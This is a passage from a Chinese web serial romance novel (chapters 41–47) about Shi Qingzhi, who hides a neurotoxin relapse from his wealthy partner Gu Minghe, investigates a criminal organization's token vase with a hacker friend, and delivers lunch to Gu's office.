她甚至有点小得意,觉得自己处理得简直天衣无缝。 既没结死仇,又没惹上大麻烦,还白看了一场帅哥,虽然只看了半张脸。 想到这里,她心情又愉悦起来。 —— 顾鸣鹤回到半山庄园时已经很晚了。 他坐在车里,远远就看见卧室的灯是灭了。 时清徵睡下了。 顾鸣鹤在门口站了一会,却没有推门进去。 他现在心绪有些乱。 喜欢? 在宋燕归提出这个词之前,他以为自己对时清徵是喜爱。 手握在门把上,迟迟没有打开门。 最终他叹了一口气,想今晚换个地方睡。 就听见卧室里一阵轻微的声响,像是什么东西掉在了地上。 顾鸣鹤心忽然一颤,像是做坏事被抓包一样。 于是也不再犹豫,推开门走了进去。 卧室内没有想象中的暗。 窗帘大开着,屋外的月光恰好落了进来,照的室内有些朦胧的亮。 时清徵没有坐在床上,而是盘腿坐在地上,靠着墙。 手机就落在一旁。 顾鸣鹤不确定时清徵有没有醒,因为他是闭着眼的。 可顾鸣鹤心里有一个预感,时清徵没睡。 他踏着月光,慢慢的朝时清徵走了过去。 随着他的靠近,时清徵也睁开了眼睛,抬眸看向顾鸣鹤。 屋外只有寥寥几颗星子,但他的眼中似有星河。 顾鸣鹤喉间动了动,声音低沉:“怎么坐在这?” 如今已经入秋,下了几场雨,天气有些凉了。 时清徵在和江南月分开后就感受到身体的不对劲。 身子有些虚脱,浑身无力,头脑昏昏沉沉,伴随而来的是一阵又一阵的幻痛。 让他从困顿中一次又一次的清醒。 是神经毒素又发作了。 距离上一次神经毒素发作才不过两个月,这是时清徵始料未及的。 以前基本是半年才会发作一次,如今倒是越来越频繁了。 “没......没什么。”时清徵声音有些暗哑。 因为先前有研究所的药物压制,所以如今的状况缓和了些。 但还是有些难以忍受。 每当这时,时清徵都不太习惯身边有人。 看着顾鸣鹤似乎是去打算开灯,时清徵出声制止:“别开。” 顾鸣鹤动作一顿,虽然有些不明所以,但还是将手收了回来。 转而屈膝半蹲在时清徵面前。 这人怎么了? 时清徵半眯着眼,一只腿向前伸着,一只腿屈膝,单手搭在上面。 姿态闲散。 他一直在看顾鸣鹤。 不知是不是受到黑暗的影响,顾鸣鹤看着时清徵总有一种陌生感。 时清徵尽量不在顾鸣鹤面前露出异常,只要顾鸣鹤方才打开灯,一定能看到此时时清徵的苍白面孔。 顾鸣鹤伸手去拉时清徵搭在膝盖上的那只手,时清徵指尖动了动,还是没躲。 可顾鸣鹤的手伸出去一半又顿住了,不知还要不要继续。 就在这犹豫的时间,他们俩指尖不小心抵到一起了。 一阵酥酥麻麻。 原来是静电了。 时清徵指尖一颤,手指往后缩了缩。 第42章 先生,你知道什么是半夜emo吗 距离这神经毒素发作已经过去了一个小时,时清徵现在的情况好了不少。 至少不会在顾鸣鹤面前露出什么异常了。 他垂着眸子,不知在思索什么。 顾鸣鹤隔着一小段距离,半跪着看着他。 手垂在身体一侧,手指摩挲着。 好像在纠结着什么。 一时间室内无比的安静,似乎只能听清风在窗外的沙沙声。 顾鸣鹤因为今晚宋燕归的话,难得没有在此时此刻生出什么旖旎的心思来。 “地上凉,我带你去床上。” 顾鸣鹤说出这句话,又忽然感觉有点歧义,但顿了顿,也没有解释。 可时清徵没有回他,他今天实在是无心无力。 不想陪顾鸣鹤折腾了。 “不要。”时清徵轻声拒绝。 顾鸣鹤往前挪了挪,不知是不是因为寂静的环境平复了他的心绪,他多出了很多耐心。 轻声哄着:“我不做什么,我们上去睡,地上凉。” 时清徵将另一只往前伸的腿收回,双腿弯着,双手环抱住腿。 这是拒绝了。 他现在谁都不想理。 顾鸣鹤见人又不乐意搭理自己了,心中升起的反而是无奈。 他觉得宋燕归有句话说的很对,他的确是对这人纵容过头了。 可那又如何呢? 顾鸣鹤也学着时清徵,往他身边一坐。 西装革履的男子坐在墙边,着实有些突兀了。 幸好此时没有别人。 不然恐怕会皱眉说一句:煞笔吧? 时清徵也有些诧异顾鸣鹤的举动,但也只是有些诧异而已。 他偏过头看顾鸣鹤,也没有说话。 一个人哪怕是再强大也会有柔软的地方。 那个地方看起来一定是坚硬的,被一层盔甲保护着,但当那一层盔甲不小心丢掉,露出里面的脆弱就格外敏感。 时清徵此时也是这样。 他不太想一个人,可他又不愿意别人留在自己身边。 顾鸣鹤伸手揽住时清徵的肩膀,将他往自己身边带。 时清徵的头就靠在了顾鸣鹤的肩上。 顾鸣鹤喝酒了。 还有些香水味。 时清徵有些烦了。 动了两下挣扎出了顾鸣鹤的臂弯。 顾鸣鹤搂的不紧,是没想到这人会挣扎。 “怎么了,跟我闹脾气?” 顾鸣鹤明显反应出时清徵这是拒绝他的意思。 不由蹙起眉,语气也有些冷。 没有谁能一而再再而三地对他使脸色。 “就因为我今晚没陪你?” 时清徵还是没有说话。 像是一拳打在了棉花上,很无力的感觉。 顾鸣鹤心中升起了火气,凭他的身份,何须三番五次地低声下气哄人? 只是还没等他发作。 “先生......”时清徵开口了。 顾鸣鹤火一瞬间熄了,他轻哼了一下,没理时清徵。 时清徵又叫了他一声:“先生。” 这次他偏过头来,一瞬不瞬的看着顾鸣鹤。 “我累了。” 他朝顾鸣鹤伸出手。 顾鸣鹤脑子还没反应过来,手就已经伸过去,站起身将人抱了起来。 他暗中唾骂自己:没出息。 内心与身体的挣扎让他脸上变得有些冷,却还是乖乖朝着床的方向走去。 将时清徵放到了床上,替他盖好了被子。 就在顾鸣鹤要把手收回去的刹那,时清徵忽然握住了他的手。 而且越握越紧,似乎害怕失去什么。 顾鸣鹤咬牙看着这个紧闭双眼的人儿,心里暗道一句:赶明儿再找你算账。 他就一直这么坐在旁边,低着头看着呼吸逐渐平稳的时清徵。 时清徵的手机还掉在地上没人捡。 显得孤零零的,很可怜。 时清徵睡着了,似乎是做了一个梦,低声讲了句什么。 顾鸣鹤没听清。 他不知道那算不算梦话,很短很轻,要不是他如今还清醒着,都要怀疑方才时清徵说的那句话梦是在哼唧了。 手心握着的力道一松。 这人是真睡了。 顾鸣鹤一直低头看着这人,如今脖子都有些酸了。 他站起身揉了揉脖颈,余光瞥了眼地上躺着的手机,没有管它。 等明天让时清徵自己捡去。 真有本事,还学会冷暴力金主了。 待他明天定要问个清楚。 次日时清徵醒来时还有些昏昏沉沉的。 窗帘已经被拉上了。 他往另一边翻了个身,直接翻进顾鸣鹤怀里。 顾鸣鹤醒了有一回了,见时清徵动了动,趁着他翻身时把他一把捞了过来。 用手箍在怀里。 时清徵感受到这人生气了。 他闭上眼,果断屏蔽。 谁料顾鸣鹤看穿了他的小心思,不轻不重的捏了一下他的脸:“现在开始装睡了?是不是晚了。” 时清徵:........ 他昨晚有做什么事吗,好像没吧? 不就是没理这人吗,他总不至于,可能也许没有生气吧。 时清徵眼中难得流露出些许心虚,恨不得一头埋进被子里。 顾鸣鹤揪住他,一副他不给个解释就不让他下床的架势。 “先生......”时清徵半张脸埋在被子里,说话声音闷闷的。 顾鸣鹤:“呵........” “顾先生。”这次声音更低了,还带上些撒娇的意味。 顾鸣鹤眸光动了动,还是没说话时清徵直接抓住人的手腕,小幅度晃着。 “顾先生,顾先生.......” 一遍又一遍。 时清徵算是看明白了,这人是气自己昨晚没搭理他。 听见时清徵跟念经一样,一直叫着他名字,顾鸣鹤只觉得脑子嗡嗡疼。 一把捂住时清徵的嘴:“别叫了。” 时清徵:“........” 不理自己的人是他,现在让他不要叫的也是他。 这人怎么这么难伺候? 顾鸣鹤将头凑近,靠近他的耳侧低声道:“你最好给我好好解释一下昨晚是怎么回事,不然.......” 时清徵莫名有些紧张。 不然什么? 轻暖的鼻息喷洒在他的耳后,让时清徵身子有一些颤栗。 痒。 他忍不住缩了缩。 顾鸣鹤箍住时清徵腰身的手又用力了些:“不然你今天别想下床。” 时清徵:...... 他咽了口唾沫,解释的话到嘴边犹豫着要不要说出来。 有点让人兴奋呢。 不过他昨晚神经毒素刚发作过,还是悠着点。 “先生,你知道什么是半夜emo吗?” 第43章 老大,我也是很值钱的好吧 顾鸣鹤:? 时清徵一本正经的讲道:“就是每当半夜的时候,人都会变得格外感性。” “我昨晚就是这样,所以不怪我。” 顾鸣鹤:呵,我就看着你编。 时清徵面朝着顾鸣鹤眨眼,看着他一脸不相信。 “就是.......” 还没等时清徵继续解释,顾鸣鹤就把那些话尽数压了回去。 用嘴。 时清徵手臂环住顾鸣鹤的脖颈,被人带着坐起。 等二人分开时,他已经坐在顾鸣鹤腿上了。 胸膛还微微起伏,喘着。 顾鸣鹤看他这副样子,发了狠般在他嘴角咬了一下。 “嘶.......” 我擦,这人真会吃人。 时清徵一脸不可置信地盯着他。 顾鸣鹤哼笑一声:“我就听你敷衍这么一次,再有下次,呵。” 时清徵:....... 脾气真不小。 但嘴上还是乖乖道:“嗯嗯。” —— 总算把人哄走了,时清徵舒了一口气。 接下来几天平安无事,顾鸣鹤也没有再提这件事情,好像是真的过去了一般。 江南月次日就回碎洲处理事情了,可能至少得一个月才能回来。 时清徵最近一直在调查幽灵组织和京城的牵扯。 早在很久之前时清徵就知道京城有人与幽灵组织合作。 之前调查出江南月的二叔时他还以为那个人与幽灵组织有牵扯的人是江晓崖。 但是经过详查,他发现江晓崖是六年前与幽灵组织搭上的线。 太晚了,时间对不上。 那人隐藏的很深,应该是个很有权势的人,极有可能就是几大家族中的一个掌权人。 时清徵将脑海里的人名过了个遍。 不对。 还是得从江晓崖那边下手。 反正江南月也不认这个亲二叔,他查查应该没什么大问题。 就在他考虑这件事情时,一条消息弹窗亮起。 【千千:老大,你之前让我查的那个丑瓶子找到了。】 【千千:这个瓶子的确是幽灵组织的东西,他们那边信奉这个图腾,不过不是什么文物,不值钱。】 【千千:这个瓶子幽灵组织一共有五个,每个的样式不同。】 【千千:两个在他们总部的高层手里,还有三个是送人了。】 【千千:其中一个是碎洲的黑潮公司的老大,还有一个是东南群岛地区的一个毒枭。】 【千千:另外一个是在A国,没有其他五个瓶子的图片,我不确定这是哪一个,但是如果有实物的话可以分辨。】 时清徵看着这一群密密麻麻的文字,直接选择打电话过去。 电话很快接通,对面一声清亮的男音响起。 “老大,这个瓶子怎么了吗?” 时清徵淡淡道:“你能查到这个瓶子是通过什么途径运到A国的吗?” 千千:“这个呀,我早就查明白了。” “是从赤洲的一条线先运到的东南群岛,后来运往了A国。” “我把当时这条线的负责人资料发给你了,时间是前两年。” WWZ组织不愧是黑客高手云集之地,只要他们想查,都没有查不到的。 千千又提到了一件事:“我们这边在查这个瓶子的时候被人阻拦了,对方应该挺有经验的,不过也没我们有经验哈。” 想起这件事情千千不免有些得意。 “当时我们本来没有查的这么详细,不过有人阻拦我们就顺着那个人的攻击找到了对方的IP地址,顺手黑了他们的网络系统。” “最后发现他们的地址是赤洲,就是幽灵组织的那批人。” “嘿嘿~” 时清徵嘴角抽了抽:“做得好。” 千千差点得意的鼻孔朝天:“那是,我们还摸进了他们资料库,自己把这些瓶子的消息翻了个底朝天。” “要不是怕他们追踪回来,我们肯定直接把他们的资料库全端喽。” 时清徵拿着手机接收到了千千发过来的资料。 “麻烦了,下次见面请你吃饭。。” “哇,真的吗老大,你现在在东南群岛?” 时清徵:“不是。” “啊,可是暗网上的那群人说,你不是从A国跑到东南群岛那边去了吗......” “假消息而已。” “行吧,正好我离a国也不远呢,要不择日不如撞日,就过两天?” “不行。”时清徵拒绝的干脆利落。 千千:“QAQ为什么?老大,你不是刚说请我吃饭的吗?” 时清徵:我就意思意思你信吗? “咳咳,因为我现在不方便。” 千千秒懂:“理解理解,毕竟老大你现在正在被全世界悬赏,简直称得上是行走的ATM了,猥琐一点也正常。” 时清徵:“要不你还是过来吧?” 千千:“啊,老大,你怎么忽然改主意了?” 时清徵微笑道:“因为我觉得你欠收拾。” 千千:“呜呜X﹏X” “老大,你是真不知道你现在的身价,现在不知道有多少人看着你的悬赏令流口水。” 千千显然也是知道一点内幕的。 “哦,都有谁啊?”时清徵装作不经意的问。 “那可多了,比如那个暗网杀手榜第二的彩虹,我偷看他的聊天记录了。” “你又去攻击暗网?”时清徵扬眉。 千千连忙大声辩解:“我哪有啊,我那叫帮他们修补漏洞。” 时清徵有些好奇:“他都说什么了?” 千千立马来了兴趣:“那个彩虹跟幽灵组织那群人说自己视金钱如粪土。” “实际上他私下跟好友哭诉了半天,都快馋哭了,那哈喇子都顺着网线流到我这儿来了。” 时清徵:....... 沉默了半天,他吐出了一句话:“正常。” 一般来说这些顶尖杀手之间是不会相互刺杀的,毕竟都是干这行的,对方一脱裤子就知道要放什么屁。 刺杀一般很难成功。 而且一旦没有成功就很容易遭到对面的报复。 常在河边走,哪有不湿鞋,万一脑壳被打掉了呢? 所以对于万岁的悬赏令,目前除了幽灵组织本部还真没有其他人接。 废话,那可是连续霸榜好几年的怪物,去找死吗? 千千很快转移了话题。 “说实话我还没有见过老大,你长什么样子呢,不过听声音我能猜到你肯定怪帅的。” “嗯,哪天有空见了就知道了。”时清徵冷嗖嗖道。 千千:“你确定不是来刺杀我的吗?” 时清徵:“你很值钱?” 千千:!!! 他在电话对面险些急得跳脚。 “老大!我也是很值钱的好吧!” 第44章 不是一个级别的 跟千千插科打诨了一会,时清徵挂掉了电话。 千千是WWZ联盟里为数不多知道他身份的人,两人也就在网上交手过三次。 第一次时清徵入侵WWZ联盟,千千没逮到他。 第二次时清徵又入侵了一次,千千又让人给跑了。 第三次直接线上“对线”,听说千千直接被怼哭了。 后来本着打不过就加入的心思,他直接成时清徵迷弟了,说要跟他学怎么嘴别人。 当时听千千说这个的时候,时清徵一脸疑惑。 他经常嘴别人吗? 他自己怎么不知道? 实际上了解时清徵的都知道,这人的确不怎么骂人,但很会损人,偏偏让人难以反驳。 但和时清徵相熟的几人都是嘴强王者,战斗力超标,在她们面前,时清徵还是太稚嫩了。 时清徵的目光快速从资料上扫过。 千千从幽灵组织资料库弄来的展示着这五个瓶子。 但里面的信息少得近乎吝啬,只有最基本的归属信息。 看来这瓶子算是信物。 其他四个信物都记录的持有者:幽灵组织的两个高层,东南群岛的大毒枭以及黑潮公司的老大。 只有最后一个信物的归属记载很少,就一个位置:A国。 资料里没有任何关于瓶子具体用途,象征意义或交接条件的详细记载。 对于这个,时清徵这并不意外。 真正核心的秘密,幽灵组织这种级别的存在,绝不会轻易记录在可能被黑客攻破的电子档案里。 越是紧要的东西,越可能用最原始、最可控的方式传承,口授心记。 或者锁在某个保险库的最深处。 在这个互联网几乎等于公共广场的时代,没有比古老的方式能真正保守秘密。 他的视线停留在另外两个外部持有者的名字和简单附注上。 黑潮公司老大卢卡斯,代号血鲨。 东南群岛的那个大毒枭拉尔斯,据说是中东人,曾流落到东南群岛,后来靠du品发家。 时清徵对这种人向来没什么好印象。 他们FK集团也不可能与这种贩毒的人有什么合作。 但是时清徵也不得不承认,这两位都是国际通缉榜上赫赫有名的常客了。 他们手中掌控的势力足以支撑他们与幽灵组织合作了。 这就是臭味相投吗? 这两位获得信物时清徵不意外,只是...... 他想了想江晓崖这个人。 不是他想侮辱这个人。 这是把他跟前面两位比起来着实是蜉蝣见青天了。 完全不是一个级别的。 江晓崖,充其量不过是幽灵组织庞大运输网络中的一个环节负责人,一个高级一点的马仔,甚至可能连核心决策圈都摸不到边。 这样的身份,怎么会拥有与那两位同等级的信物瓶子?这完全不符合逻辑。 除非........除非这个信物的持有者并不是江晓崖,他只是个保存者。 或者这个信物是假的。 时清徵想了想,给青鸟发了个信息。 【万岁:之前你说的那个瓶子还在你那里吗?】 反正在这里也猜不出来,不如去看看原物。 只是青鸟并没有回,可能是在忙。 时清徵也不急,收起来手机。 先前他在幽灵组织的线人传来情报:幽灵组织正在逐渐重启十年前那个实验。 其中一个项目的负责人是A国这边的人。 时清徵得知这个消息后暗地里调查了多次,可惜幽灵组织毕竟不是什么小组织。 没想到如今竟然有线索了。 说不定找到的那个信物持有人,就是实验项目的负责人之一。 只是时清徵没等到青鸟的消息,而是等到了李管家的消息。 李管家和李婶凑在一起,不知道在商量什么。 见时清徵从楼上下来,两人很默契地同时闭嘴,然后看向时清徵。 时清徵莫名有种不好的预感。 果然下一秒。 一个食盒就被递到时清徵手中。 李婶笑得一脸慈祥:“麻烦你跑一趟了,这是顾总的午饭。” 时清徵:....... 这么背的吗? 他无奈地看了一眼手中被塞的食盒,抬起头看见笑得见牙不见眼的脸,又看了一眼脸上写着“快去快去”的期待的李管家。 两人撮合的心思都写脸上了。 时清徵只感觉额角青筋跳了一下,这就是传说中的爱心午饭? 他想挣扎一下:“李婶,顾先生公司有食堂,而且助理应该会安排午饭。” 言下之意,这活怎么轮到他了? 李婶摆摆手:“哎呀,外面做的哪里有家里的健康,顾总这几天忙着工作,都瘦了不少。” “这里面有我炖的汤,得好好补补。” 李管家也适时补充道:“而且顾总交代了,今天上午有个重要会议,可能会开到很晚,特意吩咐送饭过去。” 顿了顿,他还补充了一句:“而且顾总交代了,让您亲自送过去。” 时清徵看着一唱一和满脸期盼的两人,忽然体会到了什么叫“人在屋檐下,不得不低头。” 于是乎,他认命地叹了口气:“好吧。” “好好好,路上小心啊时先生。” 李婶在后面对时清徵挥手。 见到时清徵远去的背影,李婶和李管家给了对方一个心照不宣的眼神。 那是赞赏认同的眼神。 他们早就察觉出顾总和时先生这两天气氛不对,他们可不得助攻一下嘛。 毕竟他们也挺喜欢时清徵的,没脾气,还很有礼貌。 天和集团会议室。 顾鸣鹤的眸光微冷,看着众人你一言我一语地讨论方案,半天也没吵出个所以然来。 喧闹的空隙,场面忽然寂静了一瞬。 顾鸣鹤终于开口,语气平淡,却极具压迫力:“所以各位讨论了半小时就证明了这个方案是既想马儿跑,又不想马儿吃草?” 众人:........ 默默低下头。 “所以谁来告诉我这个方案的核心问题是什么?究竟是预算还是技术问题。” 他的目光从众人身上扫过:“还是说是执行路径的问题?” 在座众人只觉得有些喘不过气,大气也不敢出,哪还有刚才那一个个理直气壮的模样。 顾鸣鹤声音更冷了,讥笑道:“各位连问题都没有梳理清楚,方才一直在这里推诿扯皮吗?” 似乎没人会说话了。 他们已经做好了这个会开到下午的准备了。 顾鸣鹤看了一下表,淡声道:“下午两点再开一次会,我不希望再出现这种情况。” 他没有多余的训斥,而是缓缓站起身:“散会。” 第45章 送饭 自从时清徵上次来了一次结果被拦在楼下后,顾鸣鹤就跟前台交代过若是时清徵来可以直接带人去他的办公室。 因此当对面的男子说出自己的名字时,前台小姐先是愣了片刻,随后露出一副标准的笑容。 “好的,我带您上去。” 但前台小姐的内心远没有表面上那么平静。 这就是顾总破例交代可以直接上去的人吗? 从电梯上去,前往顾鸣鹤的办公室还需要经过一段开放式办公区。 此时快要接近休息时间,人们的心都是蠢蠢欲动的。 眼睛是盯着屏幕和文件的,心是飞走了的。 因此当时清徵进来不少人都注意到了他。 “我草!我是饿迷糊了吗?” 一个年轻的女职员不可置信的抬起眼,于是便挪不开了。 “什么迷糊?”一旁的人也顺着她的视线看过去,瞬间张大了嘴。 这是什么神仙颜值??! 时清徵穿着简单的休闲装,身形欣长,步履从容。 连光似乎也偏爱他,在他身边镀上了一层朦胧的光晕。 那张脸干净俊秀,本该是不染尘埃的皎月,但那微微上挑的凤眸有个人增添几分纯欲感。 眼神流转间似乎就要将人的心勾走。 就在这短短一段路,不少人在不经意间对他行了注目礼。 直到他消失在拐角,人们才回过神。 “哇——”不知道是谁,先发出一声感慨。 紧接而来的是一阵窸窸窣窣的窃窃私语。 “刚才那个.....我忽然知道什么叫一眼万年了。” “要是能谈一个这样的,让我工资翻十倍也愿意啊。” “你能不能不要连吃带拿?” “大白天的做梦呢,我在梦里都没奢望能谈到一个这样的。” “不然为什么叫白日梦呢?” 有人鄙夷道:“我就敢梦到谈个这样的。” 其中还有不少男职员:“人类进化忘记带上我了?” “艹,都是男的,凭什么??” “我一个男的都有点心动了,嘶,我是不是不正常了?” 一旁的女同事摆摆手无所谓道:“爱美之心人皆有之,正常正常。” “他是明星吗,这个颜值简直是老天爷赏饭吃啊。” “你们好肤浅啊,只会看他的脸。”一个女职员扣着美甲道。 众人的视线看向她,似乎想看看她能说出多么高深的话来。 “不像我,能看到他坚强外表下一个脆弱的心灵,此时正需要一个像我这样的人拯救他。” 众人:....... 这里还有一个更不要脸的。 “就我觉得他的气质很勾人吗,明明眼神这么干净,可当他扫过来的时候,我感觉我的心都跟着他走了。” “大姐,你这是单纯的好色好吗?” “快擦擦口水,要掉我桌上了!” 在一群讨论对方颜值和气质的人里,有一个人提出了正常的问题。 “哎,你们有没有注意到他去的方向好像是总裁办公室?” 此言一出,人们的讨论瞬间停了下来。 “好像还真是。” “莫非他是顾总的朋友,好像没见过呀。” “你没看他手中拿着食盒吗,一看就是来送饭的。” “送饭的啊”,一个男员工拍了拍大腿,“这是义父啊!” “我有一个大胆的想法。”一个女职员收起花痴的表情,笑容逐渐猥琐起来。 不少人心领神会,露出同样的表情。 嘿嘿~ 男员工:?? 她们在打什么哑谜呢? 带路的前台小姐姐刚走回办公区,立刻就被几双闪烁着八卦之光的眼睛围住了。 “快快快!小雅!”一个平时就爱打听消息的女同事迫不及待地压低声音。 “刚才那位神仙小哥哥,到底是谁啊?跟顾总什么关系?” “对啊对啊,直接就被你带上去了,顾总办公室耶!”另一个也凑过来,满脸都是好奇。 被叫做小雅的前台小姐姐脸上还带着点没褪去的红晕。 近距离接触那种级别的颜值冲击力太强了。 她看着围过来的几张脸,无奈地笑了笑,声音也压得很低:“我真不知道具体什么关系。” “不知道?”众人显然不信。 “顾总只特别交代过,如果这位时先生来,直接请到办公室,不用通报,也不用等。” 她着重强调了“直接请到”这几个字。 这句话的信息量瞬间在几个同事脑海里炸开。 “哇哦......”有人发出意味深长的感叹。顾总办公室是什么地方? 除了极少数核心高管和预约好的重要客人,谁敢直接往里闯? “看来两个人关系很好啊。”有人下了结论。 “是很不一般。”另一个同事补充道,眼神里闪烁着你懂的光芒。 仅仅是“关系好”似乎还不足以解释这种特殊待遇。 “确实很亲密。”最开始发问的女同事总结道,语气带着十足的笃定和一丝微妙的兴奋。 时清徵进了顾鸣鹤的办公室,将食盒搁在了茶几上。 径直走向靠窗的一张单人沙发椅。 这里虽非顶楼,但视野已然极佳。 落地窗外,楼群鳞次栉比,能看到远处以及更远处的一片繁华。 午后阳光下反射着暖融的光。 时清徵侧过脸,安静地望向那片广袤,目光似乎落在极远处,又似乎什么都没看。 阳光透过玻璃,柔和地勾勒着他精致的侧脸线条。 他整个人陷在宽大的椅子里,姿态放松得近乎疏懒。 长腿随意地向前伸展着,一只手随意地搭在自己的大腿上。 眉眼宁静,只沉浸在自己的思绪里,周身萦绕着静谧气息。 顾鸣鹤推开门走进来时,看到的正是这样一幅画面。 当他的视线触及那个安静望着窗外的身影时,脚步几不可察地顿了一下。 时清徵就那样悠哉自在地坐在那里,好似没察觉有人来。 顾鸣鹤没有立刻出声,目光在那个身影上停留了几秒。 从那人的眉眼,滑落到随意伸展的长腿,再到那只搭在腿上的那只骨节分明的手是。 他反手轻轻带上门。 时清徵听到声响并未立刻转头,只是眼睫微动,随即才缓缓回眸望去。 几乎是下意识地,他随意地打量着走进来的顾鸣鹤。 明明是时清徵坐在那张低矮的沙发椅里,而顾鸣鹤是站着的。 但就在那双清冷眼眸投来审视目光的瞬间,顾鸣鹤的脚步还是顿了一下。 一股无形的压力,瞬间缠绕上来。 那并非普通的高位压制,而是一种在精神的俯视感。 仿佛一个久居云端、习惯了掌控全局的存在,正漫不经心地打量着脚下某个引起他短暂注意的个体。 那份审视,带着一种理所当然的疏离感和上位者的漠然。 他怎么会用这种目光看自己? 这个念头如猝不及防地在顾鸣鹤的脑海出现,带来一丝不适感和不适应。 这种目光,有些陌生。 这感觉只持续了极其短暂的一瞬,短到几乎让人以为是错觉。 就在顾鸣鹤眸色转深,探究的意味即将浮起时。 时清徵眼中审视忽然褪去。 他微微牵动了一下嘴角,露出极淡的笑容。 “先生开完会了?” 顾鸣鹤站在原地,目光依旧落在时清徵脸上,试图找到一丝伪装。 但那双眼睛此刻清澈见底,除了些许慵懒,再无其他。 刚才......真的是错觉? 顾鸣鹤不动声色地压下心头那丝疑虑。 他朝着沙发走去,声音听不出波澜:“嗯,怎么是你来?” 第46章 食盒 时清徵抬了抬下巴,示意茶几那边的食盒。 “李管家让我来送饭。” 顾鸣鹤心想,他没有让李管家来送饭啊。 但他看了一眼那个食盒,很快反应了过来。 “对,那就坐下一起吃吧。” 即使顾鸣鹤的神情收的很快,还是被时清徵看出了那一瞬而过的诧异。 原来如此,李管家还真是.....会来事啊。 顾鸣鹤一边说着,一边已经在桌子边坐下了。 然后朝着时清徵招手:“过来一起吃。” 这么大一个食盒,里面装的饭菜也够两人吃了。 况且李管家让时清徵来送这个食盒本来就有别的用意。 自然不可能只准备顾鸣鹤的中饭。 时清徵看着顾鸣鹤滴水不漏,将错就错的姿态,不由佩服他的演技。 他也没有客气,直接往顾鸣鹤对面一坐。 顾鸣鹤将筷子递到他面前。 时清徵伸手接过,指尖和顾鸣鹤的手短暂地触碰。 两人专注于吃饭,没有人说话。 饭后,时清徵往后一瘫,一副懒散的模样。 顾鸣鹤放好食盒,抬眼看了眼倒得毫无形象的时清徵。 “之前给你的那张卡,怎么不见你用?” “卡?”时清徵眼中先是闪过迷茫,抬手抓了抓脸颊。 “哦......那个啊,我没什么要买的。” 顾鸣鹤微微歪头,单手撑住下巴,饶有兴味地打量着他。 他的眼里带着一种慵懒和不经意的审视。“啧......” 他唇角勾起一抹玩味的弧度,声音拖长:“想要什么都可以,那张卡,不限额的。” 时清徵依旧摇头。 他自己什么都有,那些顾鸣鹤能给予的物质,恰恰是他最不需要的。 “那你图什么呢?” 顾鸣鹤忽然直起身,身体微微前倾,那双漂亮的桃花眼盯着时清徵。 慵懒褪去,取而代之的是一种探究。 图什么? 时清徵心底怔愣了半秒。 最初?只是想找个挡箭牌来摆脱那些麻烦。 后来?他顾鸣鹤“金主”的身份,确实是极好的掩护。 当然,那张过分英俊的脸也并非全无吸引力。 但这些,怎么可能宣之于口。 时清徵抬起头,脸上绽开一个堪称真诚的笑容:“因为喜欢先生啊。” 喜欢这张脸,倒也不算说谎。 他心里默默补充道。 “这样啊。” 顾鸣鹤回应地轻飘飘的,也不知道信了没有。 不过那双桃花眼倒是笑得弯起,漾开促狭与遮掩不住的愉悦。 时清徵看惯了这人装腔作势,一下子直面这么真诚的笑容,反而愣了一瞬。 顾鸣鹤笑容不变,把食盒塞到时清徵怀里:“菜不错,替我谢谢李婶。” 时清徵接过食盒时,掌心忽然被什么挠了一下,痒痒的。 可是始作俑者的表情却是很自然,动作从容地走到另一边。 时清徵抿唇,最终还是没说什么。 手机屏幕亮起,青鸟的头像跳动了几下。 【青鸟:你问那个瓶子?被我随手扔我市中心金茂府那套别墅里了。】 【青鸟:之前从二叔那‘弄’来之后就给忘了,估计在哪个角落吃灰呢,你想要?】 那个轻飘飘的“弄”字,让时清徵眉梢微挑。 以江南月的行事作风,从她二叔江晓崖手里“弄”东西,过程绝不会是什么温良恭俭让。 【万岁:嗯,顺着这瓶子查到点线索,需要看看实物确认。】 时清徵回复得言简意赅。 【青鸟:OK,小意思。】 江南月答应得干脆利落,紧接着一串详细的地址和复杂的门锁密码就发了过来。 【青鸟:之前听你说在京城也没个窝,都快去睡桥洞了,可怜巴巴的,要不这套送你得了?反正在我这儿也是落灰,地方小,视野也一般,住着没劲。】 【万岁:不需要。我有钱。】 他顿了顿,补充道。 【万岁:还有,我没说过要睡桥洞。】 【青鸟:行行行,差点忘了您老前两年满世界发财,现在怕是富得流油了吧?】 【青鸟:啧,现在的人真奇怪,有钱了就非得下凡体验生活,说什么返璞归真,别有趣味。真踏马能装!当然,我可不是说你啊。】 她还不忘此地无银三百两地撇清一句。 时清徵看着这不着调的闲聊,就知道她碎洲那边的事还没忙到焦头烂额的程度。 【万岁:有代沟,聊不动。找个时间我去拿瓶子。】 【青鸟:等等!那破瓶子到底有什么玄机?值得你专门跑一趟?】 【万岁:幽灵组织的信物。】 时清徵没有隐瞒。想到江南月此行的目标正是黑潮公司,他略一思忖,又发了一条。 【万岁:黑潮的卢卡斯手里也有一个类似的。你过去后,方便的话,帮忙留意一下。】 手机那头的江南月看到这条,下意识地摸了摸下巴。 【青鸟:嘶......听你这么一说,我怎么感觉这丑瓶子身价一下就上去了?】 她的思维跳跃。 【青鸟:哎,你说我们要是把这玩意儿拿去地下拍卖,挂个幽灵组织同款信物的名头,能拍出几个小目标?】 时清徵:“.......” 【万岁:这瓶子本身没有什么艺术价值,重要的是持有它的人。】 江南月盯着屏幕上的话,又想想自家那个不成器的二叔江晓崖,心里嘀咕: 黑潮的老大卢卡斯什么时候这么拉了?都能跟她二叔拿同款信物了? 不过她也没打算深究。 【青鸟:行吧,知道了。到时候我顺、眼帮你瞧瞧。】 她故意把“顺眼”两个字拆开,表示这完全是看心情的附加服务。 时清徵在回青鸟消息的时候,顾鸣鹤时不时看向他。 顾鸣鹤此时手里还端着一杯水,靠在办公桌边姿态随意。 只是眼神中明显透露出不爽。 这人有没有一点尊重金主的自觉? 他人还站着呢,就这么把他忽略了? 时清徵早就注意到顾鸣鹤在看他了,不过他还是先淡定地弄完自己手上的事。 因为两人是面对面,一个站着,一个坐着,所以顾鸣鹤并不知道时清徵在干什么。 只知道他似乎是在聊天。 眼见时清徵终于放下手机,他忍不住开口:“聊天?” 时清徵见人盯着自己,也站起身,面不改色道:“嗯,一个网友。” “网友聊这么长时间?” “她打游戏坑了我,我在骂她。” 时清徵神色淡定地不像是在说假话。 第47章 瓶子 顾鸣鹤一时间不知道说些什么好。 最终还是时清徵拍了拍手:“既然没事那我就不打扰先生工作了。” 说完就是一副抬腿要走的姿态。 顾鸣鹤:“......站住。” 看人都快出去了,他忙开口叫住时清徵。 时清徵回头:“先生有什么事吗?” 随后目光落在某处:“哦,食盒没拿。” 说罢,走过去拎起食盒。 顾鸣鹤胸口憋着一股气,只能咬着后槽牙道:“你很忙?” 